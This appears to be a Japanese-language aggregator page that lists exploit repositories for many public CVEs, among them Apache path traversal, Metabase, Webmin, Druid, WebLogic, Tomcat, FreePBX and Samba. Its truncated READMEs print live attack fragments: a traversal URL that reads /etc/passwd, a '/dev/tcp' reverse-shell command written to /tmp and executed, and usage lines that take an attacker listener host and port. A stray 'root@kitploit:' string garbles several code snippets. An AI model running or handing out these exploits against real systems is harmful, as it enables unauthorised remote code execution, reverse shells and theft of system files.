CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- ペネトレーションテスト 1.1. Path Traversal /etc/passwdファイルの読み取り !/bin/bash Script: exploitpathtraversal.sh 目的: Apache 2.4.49 から /etc/passwd ファイルを読み取る TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+ Apache 2.4.49 の Path Traversa...

CVE-2023-38646

Metabase 事前認証RCE POC - CVE-2023-38646 Metabase オープンソース 0.46.6.1 より前、および Metabase Enterprise 1.46.6.1 より前のバージョンでは、攻撃者がサーバー上で任意のコマンドを実行できます。このスクリプトは、攻撃者のマシン上でリバースシェルを取得するために直接作成しました。 使用方法 このスクリプトには、ターゲット URL、攻撃者の IP、ポートが必要です。このエクスプロイトでは、スクリプトが /api/session/properties...

CVE-2012-2982_python

CVE-2012-2982 エクスプロイト python こんにちは、私はセキュリティ研究者です。これは私の初めてのエクスプロイトです。 Webmin 1.580 には RCE があり、これは CVE-2012-2982 でもあります。 このペイロードを使用するには： 1. ダウンロード 2. テキストエディタで開きます！ 3. targetIP をあなたのターゲットに変更 4. lhost をあなた自身の IP に変更 5. lport をリスナーが実行されるポート番号に変更 6. そして最後に 'page' : "%2F", 'user' : "user1", 'pass' :...

CVE-2017-12149

CVE-2017-12149 yunxu1師匠のソースコードに感謝 説明: root@kitploit: グラフィカルなページを削除 システム認識エラーによるコマンド実行失敗を修正 対話型シェルに変更 使用法 URLを入力してEnterすると、自動的に2つのシステムでwhoamiを実行します 結果を見て、どのオペレーティングシステムかを判断します システム（linuxまたはwindows）を入力します その後、実行したいコマンドを入力します...

oracleShell

oracleShell oracle データベースコマンド実行 テスト環境-DBA権限： SELECT FROM v$version root@kitploit: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production PL/SQL Release 11.2.0.1.0 - Production "CORE 11.2.0.1.0 Production" TNS for 32-bit Windows: Version 11.2.0.1.0 - Production NLSRTL Version...

wax214v2-telnetenable-auth-bypass

WAX214v2 firmware diff — telnetenable auth bypass PSV-2024-01...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic ラボ このリポジトリは、Apache ActiveMQ Classic における CVE-2026-34197 を調査し、脆弱なインスタンスとパッチ適用済みビルドを比較するためのローカルラボを提供します。 リポジトリは以下の 2 つの目的をサポートするように構成されています。 厳密に制御された隔離環境で問題を再現する。 パッチ適用済みの ActiveMQ Classic ビルドで修正動作を検証する。 免責事項 このリポジトリは、法律に基づき、許可された防御的なセキュリティ研究のみ...

CVE-2022-0944

CVE-2022-0944 SQLPad RCE CVE-2022-0944 の概念実証エクスプロイトです。 使用方法 root@kitploit: usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password logi...

CVE-2022-41343

CVE-2022-41343 🐍 CVE-2022-41343 の Python Exploit dompdf 2.0.1 用 Staged Reverse Shell 基づく: Positive Sec's write-up および PoC 例 root@kitploit: cve-2022-41343 10.10.16.3 44444 使い方 root@kitploit: usage: cve-2022-41343 -h -l SERVERPORT -s SHELL -n FONTNAME ip port positional arguments: ip Shell Callback...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd リバースシェルは以下の通り： リバースシェルスクリプトを書き込む python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" シェルスクリプトに実行権限を付与 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" シェルを実行 python3...

htb-wifinetictwo-exploit

CVE-2021-31630 エクスプロイトPoC このPythonスクリプトは、CVE-2021-31630のProof of Concept PoCエクスプロイトです。HackTheBoxのWifineticTwoボックスで動作するOpenPLCの脆弱性を標的としています。教育目的のみで設計されており、管理された環境でのエクスプロイトプロセスを実証することを目的としています。 免責事項...

cve-2025-57819-exploit

CVE-2025-57819 エクスプロイト メタデータ 重要度: 重大 9.8 ベクトル: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H タイプ: 認証なしSQLインジェクション → リモートコード実行 影響を受けるソフトウェア: FreePBX endpoint module パラメータ : ターゲットのホスト名またはIPアドレス（脆弱なFreePBXインスタンス） : リバースシェルコールバック用の攻撃者IPアドレス : 受信接続用のリスニングポート 例： root@kitploit: python3 cve-2025-57819.py...

CVE-2017-16997-poc

使用方法 ./CVE-2017-16997.sh を実行します。 非rootユーザーとして実行する場合は、sudo経由でrootに昇格できることを確認してください。 詳細 1. https://nvd.nist.gov/vuln/detail/CVE-2017-16997...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 認証不要のリモートコード実行 このスクリプトは、Webmin 1.890 の認証不要のコマンド実行脆弱性を悪用するために設計されています。ターゲットの Webmin サーバ上で任意のコマンドを実行したり、リバースシェルを取得したりできます。 使用方法 このエクスプロイトは5つの引数を取ります： root@kitploit: $ python3 test.py -h usage: test.py -h -i IP Address -p Port number -c Command --shell -x Exploit...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.0 - 3.0.25rc3 は、リモートコマンドインジェクションの脆弱性 CVE-2007-2447 の影響を受けます。この脆弱性により、リモートの攻撃者は、シェルのメタ文字を含むユーザー名を指定することで、任意のコマンドを実行できる可能性があります。...

CVE-2020-14882

CVE-2020-14882 coherence ShellSession calc.exe の実行 root@kitploit: import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' ...

CVE-2026-49176_LPE_POC

CVE-2026-49176 SYSTEM Shell PoC Local privilege-escalation proof of concept for the Windows WalletService vulnerability fixed in July 2026. Technical write-up: CVE-2026-49176 Exploit Development: WalletService to SYSTEM. A standard user creates a Wallet ESE database containing a persisted callbac...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - 任意ファイルアップロードエクスプロイト CVE-2024-56264 概要 このリポジトリには、WordPress ACF City Selector プラグイン（バージョン = 1.14.0）で見つかった 任意ファイルアップロード 脆弱性である CVE-2024-56264 のエクスプロイトが含まれています。この脆弱性により、攻撃者は脆弱なWordPressインスタンスに 悪意のあるPHPファイル（ウェブシェル） をアップロードし、サーバー上で任意のコマンドを実行できます。 CVE 詳細...

CVE-2019-0232

Apache Tomcat CVE-2019-0232 のエクスプロイト このスクリプトは、Apache Tomcat の CVE-2019-0232 脆弱性を悪用します。この脆弱性により、ism.bat スクリプトの不適切な処理を通じてリモートコード実行が可能になります。スクリプトは certutil と nc.exe（Netcat）を使用したリバースシェル技法を活用し、脆弱なシステムへのリモートアクセスを取得します。 脆弱性の概要: CVE ID : CVE-2019-0232 影響を受ける製品 : Apache Tomcat 6.x、7.x、8.x、9.x 説明 :...

PCmanBoF

PCman FTP Server バッファオーバーフローとリモートコード実行 CVE-2013-4730 PCman の FTP サーバ v.2.0.7 に対する CVE-2013-4730 を使った非常にシンプルなバッファオーバーフローです。 どのように動作するのか? この簡単な BoF がバッファを上書きし、接続し直す（リバースシェル）シェルコードを実行します。 脆弱なマシン: WindowsXP SP3 で PCman の FTP サーバ バージョン 2.0.7 を実行中 起動 $ python3 PCman.py シェルコードを自分用のものに置き換えてください!! $ sudo...